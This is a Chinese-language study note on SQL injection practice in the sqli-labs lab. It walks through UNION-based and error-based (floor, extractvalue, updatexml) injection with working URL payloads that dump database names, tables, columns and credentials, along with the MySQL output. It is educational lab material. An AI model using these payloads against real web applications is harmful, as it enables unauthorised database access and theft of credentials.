学习环境
Centos7
sqli-labs
1.UNION
UNION操作符用于合并两个或多个SELECT语句的结果集
PS:UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELELCT 语句中列的顺序必须相同
默认情况,UNION操作符选取不同的值。如果允许重复的值,请使用 UNION ALL
2.UNION注入应用场景
a,只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果;
b,注入点页面有回显;
ps:
只有最后一个SELECT子句允许有order by;
只有最后一个SELECT子句允许有limit;(视频这么说,但是我实验了一下又好像可以在limit后面使用union select,可能是版本不同)
即在 order by 后面不能跟 select 语句;
mysql> select * from users order by id union select 1,2,3;
ERROR 1221 (HY000): Incorrect usage of UNION and ORDER BY
3.union 注入过程
1.order by 确定列数
2.观察页面返回,选取可以回显数据的位置,进行下一步操作
3-6
读库信息,表信息,字段,数据(这个阶段可以执行任意语句)
4. order by
order by 可以对相应列进行相应的数据排序。
我们可以利用order by 来观察数据库有多少列数据(当超出表的列数时会报错)
我们使用 security 库进行实验
mysql> select * from users order by 1;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.01 sec)
mysql> select * from users order by 2;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users order by 3;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
可以看到 order by X 时,就会对第X列进行排序,而表中没有这一列则会进行报错,我们就可以利用这特性来判断有多少列,因为使用union查询时要确保相同的列数。
接下来,进到sqli-libs第一关进行实验
order by 1
order by 3
order by 4
这样我们就可以确定当前的表是有三列的。
然后我们开始构建语句测试他可以回显的位置
通过这个我们发现他第二第三个位置是可以回显信息的。(因为我们把写入了一个无效,不存在的id,所以回显的信息应该是1.2.3.,但是只出现了2.3;说明1位置的信息是不回显的。)
select语句中是可以嵌套select 语句的,比如下面这句
mysql> select * from users where id= -1 union select 1,(select version()),3;
+----+-------------------------+----------+
| id | username | password |
+----+-------------------------+----------+
| 1 | 5.5.47-0ubuntu0.14.04.1 | 3 |
+----+-------------------------+----------+
1 row in set (0.00 sec)
通过这种方式我们就可以快速的进行sql注入
读库信息:(选择一个可以回显数据信息的位置进行注入)
读出了当前库的信息为security;
如果需要读所有库的信息,我们需要使用mysql内置的 information 语句进行查询
http://127.0.0.1/Less-1/?id=' union select 1,(select schema_name from information_schema.schemata ),3--+
显示超过一条信息,这时我们可以使用limit或group_concat
http://127.0.0.1/Less-1/?id=' union select 1,(select schema_name from information_schema.schemata limit 1,1 ),3--+
http://127.0.0.1/Less-1/?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
读表信息
http://127.0.0.1/Less-1/?id= 'union select 1,(select table_name from information_schema.tables where table_schema= 'security'),3--+
http://127.0.0.1/Less-1/?id= 'union select 1,(select table_name from information_schema.tables where table_schema= 'security'limit 1,1),3--+
http://127.0.0.1/Less-1/?id= 'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
如果当前情况对引号 ’ 有限制 我们也可以直接转换为十六进制来进行注入
http://127.0.0.1/Less-1/?id= 'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 0x7365637572697479),3--+
读字段
http://127.0.0.1/Less-1/?id= 'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
127.0.0.1/Less-1/?id= 'union select 1,2,username from users--+
我们也可以使用concar_ws和limit搭配逐个查看数据内容
127.0.0.1/Less-1/?id= 'union select 1,2,concat_ws('~',username,password) from users limit 1,1--+
报错注入原理
构造payload让信息通过错误提示回显出来
应用场景
查询不回显内容,会打印错误信息
Updat,insert等语句,会打印错误信息
凡是可以让错误信息显示的函数(语句),都能实现报错注入,下面列举3种。
floor() | select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2)); | group by 对 rand()函数进行操作时产生错误 |
---|---|---|
extractvalue() | extractvalue(1,concat(0x7e,(select user()),0x7e)); | XPATH语法错误产生报错 |
updatexml() | select updatexml(1,concat(0x7e,(select user()),0x7e),1) ; | XPATH语法错误产生报错 |
floor()报错注入方法
select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2));
concat:连接字符串的功能
floor:取float的整数值
rand:取0~1之间的随机浮点数
group by: 根据一个或多个列对结果集进行分组并有排序功能
我们在数据库中尝试,可以看到他返回的信息中有我们想要的数据库版本信息。
mysql> select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.47-0ubuntu0.14.04.11' for key 'group_key'
我们再在sqli-labs第一关中试试。
127.0.0.1/Less-1/?id=1' and (select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2)))--+
可以看到,报出了我们的数据库版本号,最后多了个1,是rand(0)*2会随机生成0或者1导致的
我们也可以用~号把他们隔开
然后查询表,数据的操作都可以在这个基础上依次进行。
**
**
mysql> select extractvalue(1,concat(0x7e,(select user()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
select extractvalue(1,concat(0x7e,(select user()),0x7e));
extractvalue():接收2个参数,第一个xml文档,第二个xpath语句。
主要是第二部分XPATH语句报错产生报错,从而进行报错注入
比如下面这句
mysql> select extractvalue(1,(select user()));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
报错返回了用户名@localhost,但其实正确的用户名应该是 root@localhost,但是他认为root是合法的XPATH格式的值,就没有返回root,这时候我们就需要用到 concat ,第一位一定要构造一个非法XPath格式的值。
这样我们就可以返回正确完整的值了
mysql> select extractvalue(1,concat('!',(select user())));
ERROR 1105 (HY000): XPATH syntax error: '!root@localhost'
和extractvalue()原理一样,不过多了一个参数。
mysql> select updatexml(1,concat(0x7e,(select user()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
updatexml():接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串
都是利用xpath语句报错。
报错返回的数据最大长度只有32位,数据过长则无法全部显示,这时候我们就需要substr对数据进行截取。
127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,substr((select user()),1,2),0x7e),1)--+